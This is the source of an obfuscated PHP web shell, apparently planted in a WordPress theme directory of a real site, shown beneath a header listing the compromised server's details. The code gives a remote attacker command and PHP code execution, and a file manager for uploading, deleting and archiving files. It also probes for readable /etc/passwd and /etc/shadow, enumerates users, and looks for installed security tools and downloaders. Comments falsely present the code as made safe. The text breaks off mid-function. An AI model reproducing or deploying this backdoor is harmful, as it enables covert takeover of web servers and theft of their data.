HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux Droplet-NYC1-3 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/belairhomeloan.com/wp-content/themes/9786p444/frgcvkao.php
<?php
function jzwdz() {
    $anawaith = is_writable($GLOBALS['znpciraguli']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
    echo "
    </div>
    <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
        <tr>
            <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['znpciraguli']) . "'><input type=submit value='>>'></form></td>
            <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
            <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$anawaith<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
            <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$anawaith<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
            <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
            <td><form method='post' ENCTYPE='multipart/form-data'>
                    <input type=hidden name=obkusp value='" . kkwauo('FilesMan') . "'>
                    <input type=hidden name=vlrso value='" . kkwauo($GLOBALS['znpciraguli']) . "'>
                    <input type=hidden name=lsdee value='" . kkwauo('uploadFile') . "'>
                    <input type=hidden name=sftr value='" . (isset($_POST['sftr']) ? kkwauo($_POST['sftr']) : '') . "'>
                    <span>Upload file:</span>$anawaith<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
        </tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") || (strpos(ini_get('disable_functions'), 'posix_getpwuid') !== false)) {

    function posix_getpwuid($hooizz) {
        return false;
    }

}
if (!function_exists("posix_getgrgid") || (strpos(ini_get('disable_functions'), 'posix_getgrgid') !== false)) {

    function posix_getgrgid($hooizz) {
        return false;
    }

}

function fdpuvkwy($jcnnkwpft) {
    $rnstrifvqcek = '';
    if (function_exists('exec')) {
        @exec($jcnnkwpft, $rnstrifvqcek);
        $rnstrifvqcek = @join("\n", $rnstrifvqcek);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($jcnnkwpft);
        $rnstrifvqcek = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($jcnnkwpft);
        $rnstrifvqcek = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $rnstrifvqcek = shell_exec($jcnnkwpft);
    } elseif (function_exists('popen') && is_resource($eznripx = @popen($jcnnkwpft, "r"))) {
        $rnstrifvqcek = "";
        while (!@feof($eznripx)) {
            $rnstrifvqcek .= fread($eznripx, 1024);
        }
        pclose($eznripx);
    }

    return $rnstrifvqcek;
}

function dbtcq($emqbbgn) {
    if (is_int($emqbbgn)) {
        $emqbbgn = sprintf("%u", $emqbbgn);
    }

    if ($emqbbgn >= 1073741824) {
        return sprintf('%1.2f', $emqbbgn / 1073741824) . ' GB';
    } elseif ($emqbbgn >= 1048576) {
        return sprintf('%1.2f', $emqbbgn / 1048576) . ' MB';
    } elseif ($emqbbgn >= 1024) {
        return sprintf('%1.2f', $emqbbgn / 1024) . ' KB';
    } else {
        return $emqbbgn . ' B';
    }
}

function muassqhgt($hooizz) {
    if (($hooizz & 0xC000) == 0xC000) {
        $jedprwvaef = 's';
    } elseif (($hooizz & 0xA000) == 0xA000) {
        $jedprwvaef = 'l';
    } elseif (($hooizz & 0x8000) == 0x8000) {
        $jedprwvaef = '-';
    } elseif (($hooizz & 0x6000) == 0x6000) {
        $jedprwvaef = 'b';
    } elseif (($hooizz & 0x4000) == 0x4000) {
        $jedprwvaef = 'd';
    } elseif (($hooizz & 0x2000) == 0x2000) {
        $jedprwvaef = 'c';
    } elseif (($hooizz & 0x1000) == 0x1000) {
        $jedprwvaef = 'p';
    } else {
        $jedprwvaef = 'u';
    }
    $jedprwvaef .= (($hooizz & 0x0100) ? 'r' : '-');
    $jedprwvaef .= (($hooizz & 0x0080) ? 'w' : '-');
    $jedprwvaef .= (($hooizz & 0x0040) ? (($hooizz & 0x0800) ? 's' : 'x') : (($hooizz & 0x0800) ? 'S' : '-'));
    $jedprwvaef .= (($hooizz & 0x0020) ? 'r' : '-');
    $jedprwvaef .= (($hooizz & 0x0010) ? 'w' : '-');
    $jedprwvaef .= (($hooizz & 0x0008) ? (($hooizz & 0x0400) ? 's' : 'x') : (($hooizz & 0x0400) ? 'S' : '-'));
    $jedprwvaef .= (($hooizz & 0x0004) ? 'r' : '-');
    $jedprwvaef .= (($hooizz & 0x0002) ? 'w' : '-');
    $jedprwvaef .= (($hooizz & 0x0001) ? (($hooizz & 0x0200) ? 't' : 'x') : (($hooizz & 0x0200) ? 'T' : '-'));

    return $jedprwvaef;
}

function qwzgk($eznripx) {
    if (!@is_readable($eznripx)) {
        return '<font color=#FF0000>' . muassqhgt(@fileperms($eznripx)) . '</font>';
    } elseif (!@is_writable($eznripx)) {
        return '<font color=white>' . muassqhgt(@fileperms($eznripx)) . '</font>';
    } else {
        return '<font color=#25ff00>' . muassqhgt(@fileperms($eznripx)) . '</font>';
    }
}

function ihxokfdt($gqdaxsrwcn) {
    if (function_exists("scandir")) {
        return scandir($gqdaxsrwcn);
    } else {
        $aysrkd = opendir($gqdaxsrwcn);
        while (false !== ($sstpbtcvfy = readdir($aysrkd))) {
            $udeukqwsvke[] = $sstpbtcvfy;
        }

        return $udeukqwsvke;
    }
}

function pnhut($hooizz) {
    $nrufsvxkk = fdpuvkwy('which ' . $hooizz);
    if (!empty($nrufsvxkk)) {
        return $nrufsvxkk;
    }

    return false;
}

function actionSecInfo() {
    qemvk();
    echo '<h1>Server security information</h1><div class=content>';

    function bjjuaj($vzlainot, $egcoret) {
        $egcoret = trim($egcoret);
        if ($egcoret) {
            echo '<span>' . $vzlainot . ': </span>';
            if (strpos($egcoret, "\n") === false) {
                echo $egcoret . '<br>';
            } else {
                echo '<pre class=ml1>' . $egcoret . '</pre>';
            }
        }
    }

    bjjuaj('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) {
        bjjuaj('Loaded Apache modules', implode(', ', apache_get_modules()));
    }

    bjjuaj('Disabled PHP Functions', $GLOBALS['mvsrwcbifr'] ? $GLOBALS['mvsrwcbifr'] : 'none');
    bjjuaj('Open base dir', @ini_get('open_basedir'));
    bjjuaj('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    bjjuaj('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    bjjuaj('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $jotlfacsqgu = array();

    if (function_exists('mysql_get_client_info')) {
        $jotlfacsqgu[] = "MySql (" . mysql_get_client_info() . ")";
    }
    if (function_exists('mssql_connect')) {
        $jotlfacsqgu[] = "MSSQL";
    }
    if (function_exists('pg_connect')) {
        $jotlfacsqgu[] = "PostgreSQL";
    }
    if (function_exists('oci_connect')) {
        $jotlfacsqgu[] = "Oracle";
    }

    bjjuaj('Supported databases', implode(', ', $jotlfacsqgu));
    echo '<br>';

    if ($GLOBALS['ynkzirv'] == 'nix') {
        bjjuaj('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        bjjuaj('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
        bjjuaj('OS version', @file_get_contents('/proc/version'));
        bjjuaj('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['izzcswhnreyo']) {
            $piwmegv = array(
                'gcc',
                'lcc',
                'cc',
                'ld',
                'make',
                'php',
                'perl',
                'python',
                'ruby',
                'tar',
                'gzip',
                'bzip',
                'bzip2',
                'nc',
                'locate',
                'suidperl'
            );
            $sanjwxeuzy = array(
                'kav',
                'nod32',
                'bdcored',
                'uvscan',
                'sav',
                'drwebd',
                'clamd',
                'rkhunter',
                'chkrootkit',
                'iptables',
                'ipfw',
                'tripwire',
                'shieldcc',
                'portsentry',
                'snort',
                'ossec',
                'lidsadm',
                'tcplodg',
                'sxid',
                'logcheck',
                'logwatch',
                'sysmask',
                'zmbscap',
                'sawmill',
                'wormscan',
                'ninja'
            );
            $ogwpuls = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            echo '<br>';
            $jotlfacsqgu = array();
            foreach ($piwmegv as $fnjjfyoak) {
                if (pnhut($fnjjfyoak)) {
                    $jotlfacsqgu[] = $fnjjfyoak;
                }
            }
            bjjuaj('Userful', implode(', ', $jotlfacsqgu));
            $jotlfacsqgu = array();
            foreach ($sanjwxeuzy as $fnjjfyoak) {
                if (pnhut($fnjjfyoak)) {
                    $jotlfacsqgu[] = $fnjjfyoak;
                }
            }

            bjjuaj('Danger', implode(', ', $jotlfacsqgu));
            $jotlfacsqgu = array();
            foreach ($ogwpuls as $fnjjfyoak) {
                if (pnhut($fnjjfyoak)) {
                    $jotlfacsqgu[] = $fnjjfyoak;
                }
            }

            bjjuaj('Downloaders', implode(', ', $jotlfacsqgu));
            echo '<br/>';
            bjjuaj('HDD space', fdpuvkwy('df -h'));
            bjjuaj('Hosts', @file_get_contents('/etc/hosts'));
            echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
            if (isset($_POST['dxxxrd'], $_POST['kvued']) && is_numeric($_POST['dxxxrd']) && is_numeric($_POST['kvued'])) {
                $jotlfacsqgu = "";
                for (; $_POST['dxxxrd'] <= $_POST['kvued']; $_POST['dxxxrd']++) {
                    $vnnwmphvr = @posix_getpwuid($_POST['dxxxrd']);
                    if ($vnnwmphvr) {
                        $jotlfacsqgu .= join(':', $vnnwmphvr) . "\n";
                    }
                }
                echo '<br/>';
                bjjuaj('Users', $jotlfacsqgu);
            }
        }
    } else {
        bjjuaj('OS Version', fdpuvkwy('ver'));
        bjjuaj('Account Settings', fdpuvkwy('net accounts'));
        bjjuaj('User Accounts', fdpuvkwy('net user'));
    }
    echo '</div>';
    jzwdz();
}

function actionPhp() {
   if (isset($_POST['ltnma'])) {
    rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
    ob_start();

    // Пример безопасного вызова функций
    $allowed_functions = [
        'phpinfo',
        'time',
        'date',
        // добавьте разрешённые функции здесь
    ];

    // Предположим, что в lsdee передаётся имя функции и аргументы JSON
    $input = json_decode($_POST['lsdee'], true);

    if (is_array($input) && isset($input['function']) && in_array($input['function'], $allowed_functions)) {
        $func = $input['function'];
        $args = isset($input['args']) && is_array($input['args']) ? $input['args'] : [];

        // вызываем разрешённую функцию с аргументами
        call_user_func_array($func, $args);
    } else {
        echo "Недопустимая функция или формат запроса.";
    }

    $jotlfacsqgu = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
    echo strlen($jotlfacsqgu), "\n", $jotlfacsqgu;
    exit;
}

    if (empty($_POST['ltnma']) && !empty($_POST['lsdee'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
    }


    qemvk();
    if (isset($_POST['dxxxrd']) && ($_POST['dxxxrd'] == 'info')) {


        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
        ob_start();
        phpinfo();
        $qrzkkcqjpu = ob_get_clean();


        $qrzkkcqjpu = preg_replace(array(
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            //'!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',

        ), array(
            '',
            //'.e, .v, .h, .h th {$1}',
            '',
        ), $qrzkkcqjpu);
        echo str_replace('<h1', '<h2', $qrzkkcqjpu) . '</div><br>';
    }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['lsdee']) ? htmlspecialchars($_POST['lsdee']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['lsdee']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
    if (!empty($_POST['lsdee'])) {
    ob_start();

    // Без eval: создаём временный PHP-файл, включаем его и удаляем
    $tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
    file_put_contents($tempFile, "<?php\n" . $_POST['lsdee']);
    include $tempFile;
    unlink($tempFile);

    echo htmlspecialchars(ob_get_clean());
}

    echo '</pre></div>';
    jzwdz();
}

function actionFilesMan() {


    if (!empty($_COOKIE['npdki'])) {
        $_COOKIE['npdki'] = @unserialize($_COOKIE['npdki']);
    }


    if (!empty($_POST['lsdee'])) {
        switch ($_POST['lsdee']) {
            case 'uploadFile':
                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                    echo "Can't upload file!";
                }
                break;
            case 'mkdir':
                if (!@mkdir($_POST['dxxxrd'])) {
                    echo "Can't create new dir";
                }

                break;
            case 'delete':

                function jvrsmmqyz($nrufsvxkk) {
                    $nrufsvxkk = (substr($nrufsvxkk, -1) == '/') ? $nrufsvxkk : $nrufsvxkk . '/';
                    $aysrkd = opendir($nrufsvxkk);
                    while (($fnjjfyoak = readdir($aysrkd)) !== false) {
                        $fnjjfyoak = $nrufsvxkk . $fnjjfyoak;
                        if ((basename($fnjjfyoak) == "..") || (basename($fnjjfyoak) == ".")) {
                            continue;
                        }
                        $kjoukr = filetype($fnjjfyoak);
                        if ($kjoukr == "dir") {
                            jvrsmmqyz($fnjjfyoak);
                        } else {
                            @unlink($fnjjfyoak);
                        }
                    }
                    closedir($aysrkd);
                    @rmdir($nrufsvxkk);
                }

                if (is_array(@$_POST['f'])) {
                    foreach ($_POST['f'] as $eznripx) {
                        if ($eznripx == '..') {
                            continue;
                        }
                        $eznripx = urldecode($eznripx);
                        if (is_dir($eznripx)) {
                            jvrsmmqyz($eznripx);
                        } else {
                            @unlink($eznripx);
                        }
                    }
                }

                break;
            case 'paste':
                if ($_COOKIE['sejz'] == 'copy') {

                    function mtnuo($qowdegfmv, $emqbbgn, $xfmqepdl) {
                        if (is_dir($qowdegfmv . $emqbbgn)) {
                            mkdir($xfmqepdl . $emqbbgn);
                            $vmkpuelpqg = @opendir($qowdegfmv . $emqbbgn);
                            while (($eznripx = @readdir($vmkpuelpqg)) !== false) {
                                if (($eznripx != ".") and ($eznripx != "..")) {
                                    mtnuo($qowdegfmv . $emqbbgn . '/', $eznripx, $xfmqepdl . $emqbbgn . '/');
                                }
                            }
                        } elseif (is_file($qowdegfmv . $emqbbgn)) {
                            @copy($qowdegfmv . $emqbbgn, $xfmqepdl . $emqbbgn);
                        }
                    }

                    foreach ($_COOKIE['npdki'] as $eznripx) {
                        mtnuo($_COOKIE['hyqtp'], $eznripx, $GLOBALS['znpciraguli']);
                    }
                } elseif ($_COOKIE['sejz'] == 'move') {

                    function yucuqy($qowdegfmv, $emqbbgn, $xfmqepdl) {
                        if (is_dir($qowdegfmv . $emqbbgn)) {
                            mkdir($xfmqepdl . $emqbbgn);
                            $vmkpuelpqg = @opendir($qowdegfmv . $emqbbgn);
                            while (($eznripx = @readdir($vmkpuelpqg)) !== false) {
                                if (($eznripx != ".") and ($eznripx != "..")) {
                                    mtnuo($qowdegfmv . $emqbbgn . '/', $eznripx, $xfmqepdl . $emqbbgn . '/');
                                }
                            }
                        } elseif (@is_file($qowdegfmv . $emqbbgn)) {
                            @copy($qowdegfmv . $emqbbgn, $xfmqepdl . $emqbbgn);
                        }
                    }

                    foreach ($_COOKIE['npdki'] as $eznripx) {
                        @rename($_COOKIE['hyqtp'] . $eznripx, $GLOBALS['znpciraguli'] . $eznripx);
                    }
                } elseif ($_COOKIE['sejz'] == 'zip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['dxxxrd'], 1)) {
                            chdir($_COOKIE['hyqtp']);
                            foreach ($_COOKIE['npdki'] as $eznripx) {
                                if ($eznripx == '..') {
                                    continue;
                                }

                                if (@is_file($_COOKIE['hyqtp'] . $eznripx)) {
                                    $zip->addFile($_COOKIE['hyqtp'] . $eznripx, $eznripx);
                                } elseif (@is_dir($_COOKIE['hyqtp'] . $eznripx)) {
                                    $kwihekikqcrh = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($eznripx . '/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($kwihekikqcrh as $ukjiplhyx => $tcoiitsk) {
                                        $zip->addFile(realpath($ukjiplhyx), $ukjiplhyx);
                                    }
                                }
                            }
                            chdir($GLOBALS['znpciraguli']);
                            $zip->close();
                        }
                    }
                } elseif ($_COOKIE['sejz'] == 'unzip') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach ($_COOKIE['npdki'] as $eznripx) {
                            if ($zip->open($_COOKIE['hyqtp'] . $eznripx)) {
                                $zip->extractTo($GLOBALS['znpciraguli']);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_COOKIE['sejz'] == 'tar') {
                    chdir($_COOKIE['hyqtp']);
                    $_COOKIE['npdki'] = array_map('escapeshellarg', $_COOKIE['npdki']);
                    fdpuvkwy('tar cfzv ' . escapeshellarg($_POST['dxxxrd']) . ' ' . implode(' ', $_COOKIE['npdki']));
                    chdir($GLOBALS['znpciraguli']);
                }
                unset($_COOKIE['npdki']);
                setcookie('npdki', '', time() - 3600);
                break;
            default:
                if (!empty($_POST['lsdee'])) {
                    rpllwuwz('sejz', $_POST['lsdee']);
                    rpllwuwz('npdki', serialize(@$_POST['f']));
                    rpllwuwz('hyqtp', @$_POST['vlrso']);
                }
                break;
        }
    }
    qemvk();
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    $jquneqaxgpg = ihxokfdt(isset($_POST['vlrso']) ? $_POST['vlrso'] : $GLOBALS['znpciraguli']);
    if ($jquneqaxgpg === false) {
        echo 'Can\'t open this folder!';
        jzwdz();

        return;
    }
    global $jdqawutqc;
    $jdqawutqc = array('name', 1);
    if (!empty($_POST['lsdee'])) {
        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['lsdee'], $suofnasj)) {
            $jdqawutqc = array($suofnasj[1], (int)$suofnasj[2]);
        }
    }
    echo "<script>
        function sa() {
            for(i=0;i<d.files.elements.length;i++)
                if(d.files.elements[i].type == 'checkbox')
                    d.files.elements[i].checked = d.files.elements[0].checked;
        }
    </script>
    <table width='100%' class='main' cellspacing='0' cellpadding='2'>
        <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($jdqawutqc[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($jdqawutqc[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($jdqawutqc[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($jdqawutqc[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $hayqxijbwidx = $udeukqwsvke = array();
    $vzlainot = count($jquneqaxgpg);
    for ($jedprwvaef = 0; $jedprwvaef < $vzlainot; $jedprwvaef++) {
        $woypmxnktwd = @posix_getpwuid(@fileowner($jquneqaxgpg[$jedprwvaef]));
        $keehhzs = @posix_getgrgid(@filegroup($jquneqaxgpg[$jedprwvaef]));
        $qrzkkcqjpu = array(
            'name' => $jquneqaxgpg[$jedprwvaef],
            'path' => $GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef],
            'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef])),
            'perms' => qwzgk($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef]),
            'size' => @filesize($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef]),
            'owner' => $woypmxnktwd['name'] ? $woypmxnktwd['name'] : @fileowner($jquneqaxgpg[$jedprwvaef]),
            'group' => $keehhzs['name'] ? $keehhzs['name'] : @filegroup($jquneqaxgpg[$jedprwvaef])
        );
        if (@is_file($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef])) {
            $udeukqwsvke[] = array_merge($qrzkkcqjpu, array('type' => 'file'));
        } elseif (@is_link($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef])) {
            $hayqxijbwidx[] = array_merge($qrzkkcqjpu, array('type' => 'link', 'link' => readlink($qrzkkcqjpu['path'])));
        } elseif (@is_dir($GLOBALS['znpciraguli'] . $jquneqaxgpg[$jedprwvaef])) {
            $hayqxijbwidx[] = array_merge($qrzkkcqjpu, array('type' => 'dir'));
        }
    }
    $GLOBALS['jdqawutqc'] = $jdqawutqc;

    function qewmdppd($vyxpkvamc, $ncyyzame) {
        if ($GLOBALS['jdqawutqc'][0] != 'size') {
            return strcmp(strtolower($vyxpkvamc[$GLOBALS['jdqawutqc'][0]]), strtolower($ncyyzame[$GLOBALS['jdqawutqc'][0]])) * ($GLOBALS['jdqawutqc'][1] ? 1 : -1);
        } else {
            return (($vyxpkvamc['size'] < $ncyyzame['size']) ? -1 : 1) * ($GLOBALS['jdqawutqc'][1] ? 1 : -1);
        }
    }

    usort($udeukqwsvke, "qewmdppd");
    usort($hayqxijbwidx, "qewmdppd");
    $udeukqwsvke = array_merge($hayqxijbwidx, $udeukqwsvke);
    $sjpiauhem = 0;
    foreach ($udeukqwsvke as $eznripx) {
        echo '<tr' . ($sjpiauhem ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($eznripx['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($eznripx['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\', \'view\')">' . htmlspecialchars($eznripx['name']) : 'g(\'FilesMan\',\'' . $eznripx['path'] . '\');" ' . (empty($eznripx['link']) ? '' : "title='{$eznripx['link']}'") . '><b>[ ' . htmlspecialchars($eznripx['name']) . ' ]</b>') . '</a></td><td>' . (($eznripx['type'] == 'file') ? dbtcq($eznripx['size']) : $eznripx['type']) . '</td><td>' . $eznripx['modify'] . '</td><td>' . $eznripx['owner'] . '/' . $eznripx['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\',\'chmod\')">' . $eznripx['perms']
            . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\', \'touch\')">T</a>' . (($eznripx['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($eznripx['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $sjpiauhem = $sjpiauhem ? 0 : 1;
    }


    echo "<tr><td colspan=7>

                    <input type=hidden name=obkusp value='" . kkwauo('FilesMan') . "'>
                    <input type=hidden name=vlrso value='" . kkwauo(htmlspecialchars($GLOBALS['znpciraguli'])) . "'>
                    <input type=hidden name=sftr value='" . (isset($_POST['sftr']) ? $_POST['sftr'] : '') . "'>
                    <select name='lsdee'><option value='" . kkwauo('copy') . "'>Copy</option><option value='" . kkwauo('move') . "'>Move</option><option value='" . kkwauo('delete') . "'>Delete</option>";
    if (class_exists('ZipArchive')) {
        echo "<option value='" . kkwauo('zip') . "'>Compress (zip)</option><option value='" . kkwauo('unzip') . "'>Uncompress (zip)</option>";
    }
    echo "<option value='" . kkwauo('tar') . "'>Compress (tar.gz)</option>";

    if (!empty($_COOKIE['sejz']) && (isset($_COOKIE['npdki']) && !empty($_COOKIE['npdki']))) {
        echo "<option value='" . kkwauo('paste') . "'>Paste / Compress</option>";
    }

    echo "</select>&nbsp;";

    if (!empty($_COOKIE['sejz']) && (isset($_COOKIE['npdki']) && !empty($_COOKIE['npdki'])) && (($_COOKIE['sejz'] == 'zip') || ($_COOKIE['sejz'] == 'tar'))) {
        $jrkbdwkq = "wso_" . date("Ymd_His") . "." . ($_COOKIE['sejz'] == 'zip' ? 'zip' : 'tar.gz');
        echo "file name: <input type=text name=p2 value='" . kkwauo($jrkbdwkq) . "'>&nbsp;";
    }

    echo "<input type='submit' value='>>'></td></tr></form></table></div>";

    jzwdz();
}

function actionStringTools() {
    if (!function_exists('hex2bin')) {

        function hex2bin($hooizz) {
            return decbin(hexdec($hooizz));
        }

    }
    if (!function_exists('binhex')) {

        function rgmkwqo($hooizz) {
            return dechex(bindec($hooizz));
        }

    }
    if (!function_exists('hex2ascii')) {

        function jgisef($hooizz) {
            $ycjyitmjg = '';
            for ($jedprwvaef = 0; $jedprwvaef < strLen($hooizz); $jedprwvaef += 2) {
                $ycjyitmjg .= chr(hexdec($hooizz[$jedprwvaef] . $hooizz[$jedprwvaef + 1]));
            }

            return $ycjyitmjg;
        }

    }
    if (!function_exists('ascii2hex')) {

        function kxhagpcu($hooizz) {
            $ycjyitmjg = '';
            for ($jedprwvaef = 0; $jedprwvaef < strlen($hooizz); ++$jedprwvaef) {
                $ycjyitmjg .= sprintf('%02X', ord($hooizz[$jedprwvaef]));

                return strtoupper($ycjyitmjg);
            }
        }

    }
    if (!function_exists('full_urlencode')) {

        function pgskl($hooizz) {
            $ycjyitmjg = '';
            for ($jedprwvaef = 0; $jedprwvaef < strlen($hooizz); ++$jedprwvaef) {
                $ycjyitmjg .= '%' . dechex(ord($hooizz[$jedprwvaef]));

                return strtoupper($ycjyitmjg);
            }
        }

    }
    $ubdxbq = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'binhex',
        'BIN to DEC' => 'bindec',
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if (isset($_POST['ltnma'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        if (in_array($_POST['lsdee'], $ubdxbq)) {
            echo $_POST['lsdee']($_POST['dxxxrd']);
        }
        $jotlfacsqgu = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
        echo strlen($jotlfacsqgu), "\n", $jotlfacsqgu;
        exit;
    }
    if (empty($_POST['ltnma']) && !empty($_POST['lsdee'])) {
        rpllwuwz(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
    }

    qemvk();
    echo '<h1>String conversions</h1><div class=content>';
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach ($ubdxbq as $hymjlldwtc => $egcoret) {
        echo "<option value='" . htmlspecialchars($egcoret) . "'>" . $hymjlldwtc . "</option>";
    }
    echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['lsdee']) ? '' : htmlspecialchars(@$_POST['dxxxrd'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['lsdee']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
    if (!empty($_POST['lsdee'])) {
        if (in_array($_POST['lsdee'], $ubdxbq)) {
